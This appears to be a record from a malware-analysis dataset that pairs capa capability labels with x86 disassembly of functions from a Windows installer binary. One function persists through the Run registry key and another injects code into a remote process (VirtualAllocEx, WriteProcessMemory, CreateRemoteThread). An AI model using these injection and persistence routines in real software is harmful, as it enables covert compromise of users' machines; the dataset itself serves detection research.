joyce8/EMBER2024-capa huggingface dataset:
Function at 0x42bc70
Capabilities:
Delete registry value
Persist via run registry key
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x218
mov eax, dword [0x454080]
xor eax, ebp
mov dword [ebp - 8], eax
mov dword [ebp - 0x218], ecx
lea eax, [ebp - 4]
push eax
push 0xf003f
push 0
push 0x448128
push reloc.OLEAUT32.dll_SysReAllocString
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
je 0x42bcb4
xor eax, eax
jmp 0x42bd70
cmp dword [ebp + 0xc], 0
je 0x42bd53
xor ecx, ecx
mov word [ebp - 0x210], cx
push 0x206
push 0
lea edx, [ebp - 0x20e]
push edx
call fcn.004177b0
add esp, 0xc
cmp dword [ebp + 0x10], 0
jne 0x42bcf9
push 0x104
lea eax, [ebp - 0x210]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
jmp 0x42bd0a
mov ecx, dword [ebp + 0x10]
push ecx
lea edx, [ebp - 0x210]
push edx
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
lea eax, [ebp - 0x210]
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenW]
shl eax, 1
mov dword [ebp - 0x214], eax
mov ecx, dword [ebp - 0x214]
push ecx
lea edx, [ebp - 0x210]
push edx
push 1
push 0
mov eax, dword [ebp + 8]
push eax
mov ecx, dword [ebp - 4]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
test eax, eax
je 0x42bd51
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
xor eax, eax
jmp 0x42bd70
jmp 0x42bd61
mov eax, dword [ebp + 8]
push eax
mov ecx, dword [ebp - 4]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegDeleteValueW]
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, 1
mov ecx, dword [ebp - 8]
xor ecx, ebp
call fcn.004168aa
mov esp, ebp
pop ebp
ret 0xc

Function at 0x42beb0
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x22c
mov eax, dword [0x454080]
xor eax, ebp
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x22c], ecx
mov dword [ebp - 0xc], 7
mov dword [ebp - 4], 0xf003f
cmp dword [ebp + 0x14], 0
je 0x42beea
mov eax, dword [ebp - 4]
or eax, 0x100
mov dword [ebp - 4], eax
jmp 0x42beff
call sym.Install_classic.exe_int___cdecl_isWow64_void_
test eax, eax
je 0x42beff
mov ecx, dword [ebp - 4]
or ecx, 0x200
mov dword [ebp - 4], ecx
lea edx, [ebp - 8]
push edx
mov eax, dword [ebp - 4]
push eax
push 0
mov ecx, dword [ebp + 0xc]
push ecx
mov edx, dword [ebp + 8]
push edx
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x42bf87
mov dword [ebp - 0x10], 0x104
push 0x20a
push 0
lea eax, [ebp - 0x228]
push eax
call fcn.004177b0
add esp, 0xc
lea ecx, [ebp - 0x10]
push ecx
lea edx, [ebp - 0x228]
push edx
lea eax, [ebp - 0xc]
push eax
push 0
mov ecx, dword [ebp + 0x10]
push ecx
mov edx, dword [ebp - 8]
push edx
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
jne 0x42bf7d
lea eax, [ebp - 0x228]
push eax
mov ecx, dword [ebp + 0x18]
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
mov edx, dword [ebp - 8]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, 1
jmp 0x42bf89
mov eax, dword [ebp - 8]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
xor eax, eax
mov ecx, dword [ebp - 0x14]
xor ecx, ebp
call fcn.004168aa
mov esp, ebp
pop ebp
ret 0x14
Function at 0x42c1f0
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
mov dword [ebp - 0x14], ecx
push 0x26c
call fcn.00416fb6
add esp, 4
mov dword [ebp - 0x10], eax
mov eax, dword [ebp - 0x10]
mov dword [ebp - 4], eax
mov ecx, dword [ebp - 4]
mov edx, dword [ebp + 8]
mov dword [ecx], edx
mov eax, dword [ebp + 0xc]
push eax
mov ecx, dword [ebp - 4]
add ecx, 4
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
mov edx, dword [ebp - 4]
mov eax, dword [ebp + 0x10]
mov dword [edx + 0x25c], eax
mov ecx, dword [ebp - 4]
mov edx, dword [ebp + 0x14]
mov dword [ecx + 0x260], edx
mov eax, dword [ebp - 4]
mov ecx, dword [ebp + 0x18]
mov dword [eax + 0x264], ecx
mov edx, dword [ebp - 4]
mov eax, dword [ebp - 0x14]
mov dword [edx + 0x268], eax
mov ecx, dword [ebp - 0x14]
mov dword [ecx], 0
lea edx, [ebp - 0xc]
push edx
push 0
mov eax, dword [ebp - 4]
push eax
push sym.Install_classic.exe_public:_static_unsigned_long_int___stdcall_CNsReg::MonitorThread_void__
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
je 0x42c28d
mov ecx, dword [ebp - 8]
push ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov esp, ebp
pop ebp
ret 0x14
Function at 0x42d820
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x4435d9
mov eax, dword fs:[0]
push eax
sub esp, 0x8c4
mov eax, dword [0x454080]
xor eax, ebp
mov dword [ebp - 0x1c], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov ecx, dword [ebp + 8]
call sym.Install_classic.exe_private:_bool___thiscall_CNsLog::isLog_void_
movzx eax, al
test eax, eax
jne 0x42d861
jmp 0x42d9b3
lea esi, [ebp - 0x14]
call fcn.00404be0
mov dword [ebp - 4], 0
lea ecx, [ebp - 0x14]
push ecx
mov ecx, dword [ebp + 8]
call sym.Install_classic.exe_private:_void___thiscall_CNsLog::GetLogFileName_class_ATL::CStringT_wchar_t__class_ATL::StrTraitATL_wchar_t__class_ATL::ChTraitsCRT_wchar_t_____
push 0x4482d4
lea eax, [ebp - 0x14]
call fcn.00404da0
push eax
call fcn.0042279e
add esp, 8
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0
je 0x42d9a4
lea edx, [ebp + 0x10]
mov dword [ebp - 0x18], edx
xor eax, eax
mov word [ebp - 0x82c], ax
push 0x7fe
push 0
lea ecx, [ebp - 0x82a]
push ecx
call fcn.004177b0
add esp, 0xc
mov edx, dword [ebp - 0x18]
push edx
mov eax, dword [ebp + 0xc]
push eax
push 0x400
lea ecx, [ebp - 0x82c]
push ecx
call fcn.00423f5a
add esp, 0x10
mov dword [ebp - 0x18], 0
lea edx, [ebp - 0x2c]
push edx
call dword [sym.imp.KERNEL32.dll_GetLocalTime]
lea esi, [ebp - 0x8b8]
call fcn.00404be0
mov byte [ebp - 4], 1
lea eax, [ebp - 0x82c]
push eax
movzx ecx, word [ebp - 0x20]
push ecx
movzx edx, word [ebp - 0x22]
push edx
movzx eax, word [ebp - 0x24]
push eax
movzx ecx, word [ebp - 0x26]
push ecx
movzx edx, word [ebp - 0x2a]
push edx
movzx eax, word [ebp - 0x2c]
push eax
push 0x4482f0
lea edi, [ebp - 0x8b8]
call fcn.00405370
add esp, 0x20
lea eax, [ebp - 0x8b8]
call fcn.00404da0
push eax
lea ecx, [ebp - 0x8b4]
call fcn.00415b30
mov ecx, dword [ebp - 0x10]
push ecx
lea ecx, [ebp - 0x8b4]
call fcn.00415b60
push eax
call fcn.00418130
add esp, 4
push eax
push 1
lea ecx, [ebp - 0x8b4]
call fcn.00415b60
push eax
call fcn.0042265b
add esp, 0x10
mov edx, dword [ebp - 0x10]
push edx
call fcn.004203ea
add esp, 4
lea ecx, [ebp - 0x8b4]
call fcn.0040fde0
mov byte [ebp - 4], 0
lea eax, [ebp - 0x8b8]
call fcn.00404cd0
mov dword [ebp - 4], 0xffffffff
lea eax, [ebp - 0x14]
call fcn.00404cd0
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x1c]
xor ecx, ebp
call fcn.004168aa
mov esp, ebp
pop ebp
ret
Function at 0x42d9d0
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x443614
mov eax, dword fs:[0]
push eax
sub esp, 0xc8
mov eax, dword [0x454080]
xor eax, ebp
mov dword [ebp - 0x18], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0xd4], ecx
mov ecx, dword [ebp - 0xd4]
call sym.Install_classic.exe_private:_bool___thiscall_CNsLog::isLog_void_
movzx eax, al
test eax, eax
jne 0x42da1a
jmp 0x42db24
lea esi, [ebp - 0x14]
call fcn.00404be0
mov dword [ebp - 4], 0
lea ecx, [ebp - 0x14]
push ecx
mov ecx, dword [ebp - 0xd4]
call sym.Install_classic.exe_private:_void___thiscall_CNsLog::GetLogFileName_class_ATL::CStringT_wchar_t__class_ATL::StrTraitATL_wchar_t__class_ATL::ChTraitsCRT_wchar_t_____
push 0x448288
lea eax, [ebp - 0x14]
call fcn.00404da0
push eax
call fcn.0042279e
add esp, 8
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0
je 0x42db15
lea edx, [ebp - 0x28]
push edx
call dword [sym.imp.KERNEL32.dll_GetLocalTime]
lea esi, [ebp - 0xb8]
call fcn.00404be0
mov byte [ebp - 4], 1
mov eax, dword [ebp + 8]
push eax
movzx ecx, word [ebp - 0x1c]
push ecx
movzx edx, word [ebp - 0x1e]
push edx
movzx eax, word [ebp - 0x20]
push eax
movzx ecx, word [ebp - 0x22]
push ecx
movzx edx, word [ebp - 0x26]
push edx
movzx eax, word [ebp - 0x28]
push eax
push 0x448290
lea edi, [ebp - 0xb8]
call fcn.00405370
add esp, 0x20
lea eax, [ebp - 0xb8]
call fcn.00404da0
push eax
lea ecx, [ebp - 0xb4]
call fcn.00415b30
mov ecx, dword [ebp - 0x10]
push ecx
lea ecx, [ebp - 0xb4]
call fcn.00415b60
push eax
call fcn.00418130
add esp, 4
push eax
push 1
lea ecx, [ebp - 0xb4]
call fcn.00415b60
push eax
call fcn.0042265b
add esp, 0x10
mov edx, dword [ebp - 0x10]
push edx
call fcn.004203ea
add esp, 4
lea ecx, [ebp - 0xb4]
call fcn.0040fde0
mov byte [ebp - 4], 0
lea eax, [ebp - 0xb8]
call fcn.00404cd0
mov dword [ebp - 4], 0xffffffff
lea eax, [ebp - 0x14]
call fcn.00404cd0
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x18]
xor ecx, ebp
call fcn.004168aa
mov esp, ebp
pop ebp
ret 4

Function at 0x42dbb0
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x218
mov eax, dword [0x454080]
xor eax, ebp
mov dword [ebp - 4], eax
mov dword [ebp - 0x218], ecx
push 0x1ac
push 0
mov eax, dword [ebp - 0x218]
push eax
call fcn.004177b0
add esp, 0xc
lea ecx, [ebp - 0x210]
push ecx
call sym.Install_classic.exe_void___cdecl_GetCurPath_wchar_t__
add esp, 4
push 0x4482dc
lea edx, [ebp - 0x210]
push edx
call dword [sym.imp.KERNEL32.dll_lstrcatW]
push 0x44838c
lea eax, [ebp - 0x210]
push eax
call fcn.0042279e
add esp, 8
mov dword [ebp - 0x214], eax
cmp dword [ebp - 0x214], 0
je 0x42dc40
mov ecx, dword [ebp - 0x214]
push ecx
push 1
push 0x1ac
mov edx, dword [ebp - 0x218]
push edx
call fcn.004237b2
add esp, 0x10
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.004168aa
mov esp, ebp
pop ebp
ret
Function at 0x42dce0
Capabilities:
Get http response content encoding

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x442e8c
mov eax, dword fs:[0]
push eax
sub esp, 0x64c
mov eax, dword [0x454080]
xor eax, ebp
mov dword [ebp - 0x10], eax
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x658], ecx
mov byte [ebp - 0x214], 0
push 0x1ff
push 0
lea eax, [ebp - 0x213]
push eax
call fcn.004177b0
add esp, 0xc
mov dword [ebp - 0x218], 0x200
push 0
lea ecx, [ebp - 0x218]
push ecx
lea edx, [ebp - 0x214]
push edx
push 0x1d
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.WININET.dll_HttpQueryInfoW]
test eax, eax
je 0x42ddfe
push 0x200
lea ecx, [ebp - 0x61c]
push ecx
push 0xffffffffffffffff
lea edx, [ebp - 0x214]
push edx
push 0
push 0
call dword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
lea eax, [ebp - 0x620]
push eax
lea ecx, [ebp - 0x61c]
call fcn.00404c20
mov dword [ebp - 4], 0
lea edi, [ebp - 0x620]
call fcn.00408e00
push 0x4483e4
lea ecx, [ebp - 0x620]
call fcn.00415410
test eax, eax
je 0x42ddc8
push 0x4483f0
lea ecx, [ebp - 0x620]
call fcn.00415410
test eax, eax
jne 0x42ddec
mov dword [ebp - 0x624], 1
mov dword [ebp - 4], 0xffffffff
lea eax, [ebp - 0x620]
call fcn.00404cd0
mov eax, dword [ebp - 0x624]
jmp 0x42de00
mov dword [ebp - 4], 0xffffffff
lea eax, [ebp - 0x620]
call fcn.00404cd0
xor eax, eax
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.004168aa
mov esp, ebp
pop ebp
ret 4
Function at 0x42f2b0
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x218
mov eax, dword [0x454080]
xor eax, ebp
mov dword [ebp - 8], eax
mov dword [ebp - 0x218], ecx
mov eax, dword [ebp - 0x218]
add eax, 0x10
push eax
lea ecx, [ebp - 0x210]
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
push str.update.cfg
mov edx, dword [ebp - 0x218]
add edx, 0x10
push edx
call dword [sym.imp.KERNEL32.dll_lstrcatW]
push 0x448af0
mov eax, dword [ebp - 0x218]
add eax, 0x10
push eax
call fcn.0042279e
add esp, 8
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
jne 0x42f317
jmp 0x42f385
mov dword [ebp - 0x214], 0
jmp 0x42f332
mov ecx, dword [ebp - 0x214]
add ecx, 1
mov dword [ebp - 0x214], ecx
mov ecx, dword [ebp - 0x218]
add ecx, 0x26c
call fcn.00412ee0
cmp dword [ebp - 0x214], eax
jae 0x42f379
mov edx, dword [ebp - 4]
push edx
push 1
push 0x410
mov eax, dword [ebp - 0x214]
push eax
mov ecx, dword [ebp - 0x218]
add ecx, 0x26c
call fcn.004155a0
push eax
call fcn.0042265b
add esp, 0x10
jmp 0x42f323
mov ecx, dword [ebp - 4]
push ecx
call fcn.004203ea
add esp, 4
mov ecx, dword [ebp - 8]
xor ecx, ebp
call fcn.004168aa
mov esp, ebp
pop ebp
ret
Function at 0x42fca0
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
mov dword [ebp - 0x10], ecx
push 0x3f4
call fcn.00416fb6
add esp, 4
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 0xc]
mov dword [ebp - 4], eax
push 0x3f4
push 0
mov ecx, dword [ebp - 4]
push ecx
call fcn.004177b0
add esp, 0xc
mov edx, dword [ebp + 8]
push edx
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
mov ecx, dword [ebp - 4]
mov edx, dword [ebp + 0xc]
mov dword [ecx + 0x3e8], edx
mov eax, dword [ebp - 4]
mov ecx, dword [ebp + 0x10]
mov dword [eax + 0x3ec], ecx
mov edx, dword [ebp - 4]
mov eax, dword [ebp - 0x10]
mov dword [edx + 0x3f0], eax
push 0
push 0
mov ecx, dword [ebp - 4]
push ecx
push sym.Install_classic.exe_private:_static_unsigned_int___stdcall_CNsUpdate::UpdateThread_void__
push 0
push 0
call fcn.00422464
add esp, 0x18
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
je 0x42fd30
mov edx, dword [ebp - 8]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov esp, ebp
pop ebp
ret 0xc

Function at 0x42ffb0
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x218
mov eax, dword [0x454080]
xor eax, ebp
mov dword [ebp - 4], eax
mov dword [ebp - 0x218], ecx
push 0x1ac
push 0
mov eax, dword [ebp - 0x218]
push eax
call fcn.004177b0
add esp, 0xc
lea ecx, [ebp - 0x210]
push ecx
call sym.Install_classic.exe_void___cdecl_GetCurPath_wchar_t__
add esp, 4
push str.proxy.dat
lea edx, [ebp - 0x210]
push edx
call dword [sym.imp.KERNEL32.dll_lstrcatW]
push 0x448b0c
lea eax, [ebp - 0x210]
push eax
call fcn.0042279e
add esp, 8
mov dword [ebp - 0x214], eax
cmp dword [ebp - 0x214], 0
je 0x430040
mov ecx, dword [ebp - 0x214]
push ecx
push 1
push 0x1ac
mov edx, dword [ebp - 0x218]
push edx
call fcn.004237b2
add esp, 0x10
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.004168aa
mov esp, ebp
pop ebp
ret
Function at 0x430160
Capabilities:
Get http response content encoding

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x442f65
mov eax, dword fs:[0]
push eax
sub esp, 0x64c
mov eax, dword [0x454080]
xor eax, ebp
mov dword [ebp - 0x10], eax
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x658], ecx
mov byte [ebp - 0x214], 0
push 0x1ff
push 0
lea eax, [ebp - 0x213]
push eax
call fcn.004177b0
add esp, 0xc
mov dword [ebp - 0x218], 0x200
push 0
lea ecx, [ebp - 0x218]
push ecx
lea edx, [ebp - 0x214]
push edx
push 0x1d
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.WININET.dll_HttpQueryInfoW]
test eax, eax
je 0x43027e
push 0x200
lea ecx, [ebp - 0x61c]
push ecx
push 0xffffffffffffffff
lea edx, [ebp - 0x214]
push edx
push 0
push 0
call dword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
lea eax, [ebp - 0x620]
push eax
lea ecx, [ebp - 0x61c]
call fcn.00404c20
mov dword [ebp - 4], 0
lea edi, [ebp - 0x620]
call fcn.00408e00
push str.gzip
lea ecx, [ebp - 0x620]
call fcn.00415410
test eax, eax
je 0x430248
push 0x448b20
lea ecx, [ebp - 0x620]
call fcn.00415410
test eax, eax
jne 0x43026c
mov dword [ebp - 0x624], 1
mov dword [ebp - 4], 0xffffffff
lea eax, [ebp - 0x620]
call fcn.00404cd0
mov eax, dword [ebp - 0x624]
jmp 0x430280
mov dword [ebp - 4], 0xffffffff
lea eax, [ebp - 0x620]
call fcn.00404cd0
xor eax, eax
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.004168aa
mov esp, ebp
pop ebp
ret 4
Function at 0x4321c0
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov dword [ebp - 8], ecx
mov eax, dword [ebp + 8]
push eax
push 0
push 1
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov dword [ebp - 4], eax
push 4
mov ecx, dword [ebp - 4]
push ecx
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
mov esp, ebp
pop ebp
ret 4
Function at 0x432210
Capabilities:
Acquire debug privileges
Allocate or change rwx memory
Create thread
Inject thread
Spawn thread to rwx shellcode

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2c
mov dword [ebp - 0x2c], ecx
push 1
push 0x4490f4
call sym.Install_classic.exe_int___cdecl_SetPrivilege_wchar_t_const___int_
add esp, 8
mov eax, dword [ebp + 8]
push eax
push 0
push 0x42a
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 0
jne 0x432249
xor al, al
jmp 0x4323aa
push 0x40
push 0x1000
mov ecx, dword [ebp + 0x10]
push ecx
push 0
mov edx, dword [ebp - 0x18]
push edx
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
jne 0x432270
xor al, al
jmp 0x4323aa
push 0
mov eax, dword [ebp + 0x10]
push eax
mov ecx, dword [ebp + 0xc]
push ecx
mov edx, dword [ebp - 4]
push edx
mov eax, dword [ebp - 0x18]
push eax
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0
jne 0x432298
xor al, al
jmp 0x4323aa
push 0xc
push 0
lea ecx, [ebp - 0x24]
push ecx
call fcn.004177b0
add esp, 0xc
push str.kernel32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov dword [ebp - 8], eax
push str.LoadLibraryA
mov edx, dword [ebp - 8]
push edx
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x24], eax
push 0x449144
mov eax, dword [ebp - 8]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x20], eax
cmp dword [ebp + 0x14], 0
je 0x432332
push 0x40
push 0x1000
mov ecx, dword [ebp + 0x18]
push ecx
push 0
mov edx, dword [ebp - 0x18]
push edx
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov dword [ebp - 0x28], eax
cmp dword [ebp - 0x28], 0
jne 0x432307
xor al, al
jmp 0x4323aa
push 0
mov eax, dword [ebp + 0x18]
push eax
mov ecx, dword [ebp + 0x14]
push ecx
mov edx, dword [ebp - 0x28]
push edx
mov eax, dword [ebp - 0x18]
push eax
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0
jne 0x43232c
xor al, al
jmp 0x4323aa
mov ecx, dword [ebp - 0x28]
mov dword [ebp - 0x1c], ecx
push 0x40
push 0x1000
push 0xc
push 0
mov edx, dword [ebp - 0x18]
push edx
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0
jne 0x432354
xor al, al
jmp 0x4323aa
push 0
push 0xc
lea eax, [ebp - 0x24]
push eax
mov ecx, dword [ebp - 0x10]
push ecx
mov edx, dword [ebp - 0x18]
push edx
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0
jne 0x432377
xor al, al
jmp 0x4323aa
push 0
push 0
mov eax, dword [ebp - 0x10]
push eax
mov ecx, dword [ebp - 4]
push ecx
push 0
push 0
mov edx, dword [ebp - 0x18]
push edx
call dword [sym.imp.KERNEL32.dll_CreateRemoteThread]
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0
jne 0x43239e
xor al, al
jmp 0x4323aa
mov eax, dword [ebp - 0x18]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov al, 1
mov esp, ebp
pop ebp
ret 0x14
Function at 0x4323b0
Capabilities:
Enumerate processes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x240
mov eax, dword [0x454080]
xor eax, ebp
mov dword [ebp - 4], eax
mov dword [ebp - 0x240], ecx
mov ecx, dword [ebp + 8]
call fcn.004149a0
push 0
push 2
call dword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov dword [ebp - 0x23c], eax
push 0x22c
push 0
lea eax, [ebp - 0x238]
push eax
call fcn.004177b0
add esp, 0xc
mov dword [ebp - 0x238], 0x22c
lea ecx, [ebp - 0x238]
push ecx
mov edx, dword [ebp - 0x23c]
push edx
call dword [sym.imp.KERNEL32.dll_Process32FirstW]
test eax, eax
jne 0x43241d
xor al, al
jmp 0x43248f
lea eax, [ebp - 0x238]
push eax
mov ecx, dword [ebp + 8]
call fcn.00414890
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x12
jne 0x432448
mov ecx, dword [ebp - 0x23c]
push ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov al, 1
jmp 0x43248f
push 0x22c
push 0
lea edx, [ebp - 0x238]
push edx
call fcn.004177b0
add esp, 0xc
mov dword [ebp - 0x238], 0x22c
lea eax, [ebp - 0x238]
push eax
mov ecx, dword [ebp - 0x23c]
push ecx
call dword [sym.imp.KERNEL32.dll_Process32NextW]
test eax, eax
jne 0x43241d
mov edx, dword [ebp - 0x23c]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov al, 1
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.004168aa
mov esp, ebp
pop ebp
ret 4

Function at 0x433710
Capabilities:
Hash data with md5

Disassembly:
push ebp
mov ebp, esp
push ecx
mov dword [ebp - 4], ecx
mov eax, dword [ebp + 8]
mov dword [eax + 0x14], 0
mov ecx, dword [ebp + 8]
mov dword [ecx + 0x10], 0
mov edx, dword [ebp + 8]
mov dword [edx], 0x67452301
mov eax, dword [ebp + 8]
mov dword [eax + 4], 0xefcdab89
mov ecx, dword [ebp + 8]
mov dword [ecx + 8], 0x98badcfe
mov edx, dword [ebp + 8]
mov dword [edx + 0xc], 0x10325476
mov esp, ebp
pop ebp
ret 4
Function at 0x434830
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
mov dword [ebp - 0x10], ecx
mov dword [ebp - 4], 0
jmp 0x43484b
mov eax, dword [ebp - 4]
add eax, 1
mov dword [ebp - 4], eax
mov ecx, dword [ebp + 8]
mov edx, dword [ebp - 4]
cmp edx, dword [ecx + 0x190]
jge 0x434891
push 8
push 0
lea eax, [ebp - 0xc]
push eax
call fcn.004177b0
add esp, 0xc
mov ecx, dword [ebp + 0xc]
push ecx
push 1
push 8
lea edx, [ebp - 0xc]
push edx
call fcn.004237b2
add esp, 0x10
push 1
mov eax, dword [ebp - 0xc]
push eax
mov ecx, dword [ebp + 0xc]
push ecx
call fcn.00423c24
add esp, 0xc
jmp 0x434842
mov esp, ebp
pop ebp
ret 8

Function at 0x4348c0
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x21c
mov eax, dword [0x454080]
xor eax, ebp
mov dword [ebp - 4], eax
mov dword [ebp - 0x21c], ecx
xor eax, eax
mov word [ebp - 0x218], ax
push 0x208
push 0
lea ecx, [ebp - 0x216]
push ecx
call fcn.004177b0
add esp, 0xc
lea edx, [ebp - 0x218]
push edx
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
lea eax, [ebp - 0x218]
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenW]
movzx ecx, word [ebp + eax*2 - 0x21a]
cmp ecx, 0x5c
jne 0x434938
push str.nslicense.txt
lea edx, [ebp - 0x218]
push edx
call dword [sym.imp.KERNEL32.dll_lstrcatW]
jmp 0x43494a
push str._nslicense.txt
lea eax, [ebp - 0x218]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatW]
lea ecx, [ebp - 0x218]
push ecx
push 0x449c28
push 0x1f55
call sym.Install_classic.exe_int___cdecl_NsResSave_int__wchar_t_const___wchar_t_const__
add esp, 0xc
push 5
push 0
lea edx, [ebp - 0x218]
push edx
push str.notepad.exe
call sym.Install_classic.exe_int___cdecl_DoRun_wchar_t_const___wchar_t_const___int__int_
add esp, 0x10
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.004168aa
mov esp, ebp
pop ebp
ret

Function at 0x4349c0
Capabilities:
Check if file exists
Delete file
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x21c
mov eax, dword [0x454080]
xor eax, ebp
mov dword [ebp - 4], eax
mov dword [ebp - 0x21c], ecx
xor eax, eax
mov word [ebp - 0x218], ax
push 0x208
push 0
lea ecx, [ebp - 0x216]
push ecx
call fcn.004177b0
add esp, 0xc
lea edx, [ebp - 0x218]
push edx
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
lea eax, [ebp - 0x218]
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenW]
movzx ecx, word [ebp + eax*2 - 0x21a]
cmp ecx, 0x5c
jne 0x434a38
push 0x4494fc
lea edx, [ebp - 0x218]
push edx
call dword [sym.imp.KERNEL32.dll_lstrcatW]
jmp 0x434a4a
push 0x449528
lea eax, [ebp - 0x218]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatW]
lea ecx, [ebp - 0x218]
push ecx
call dword [sym.imp.SHLWAPI.dll_PathFileExistsW]
test eax, eax
je 0x434a73
push 0
push 1
push 0x449558
lea edx, [ebp - 0x218]
push edx
call sym.Install_classic.exe_int___cdecl_DoRun_wchar_t_const___wchar_t_const___int__int_
add esp, 0x10
lea eax, [ebp - 0x218]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.004168aa
mov esp, ebp
pop ebp
ret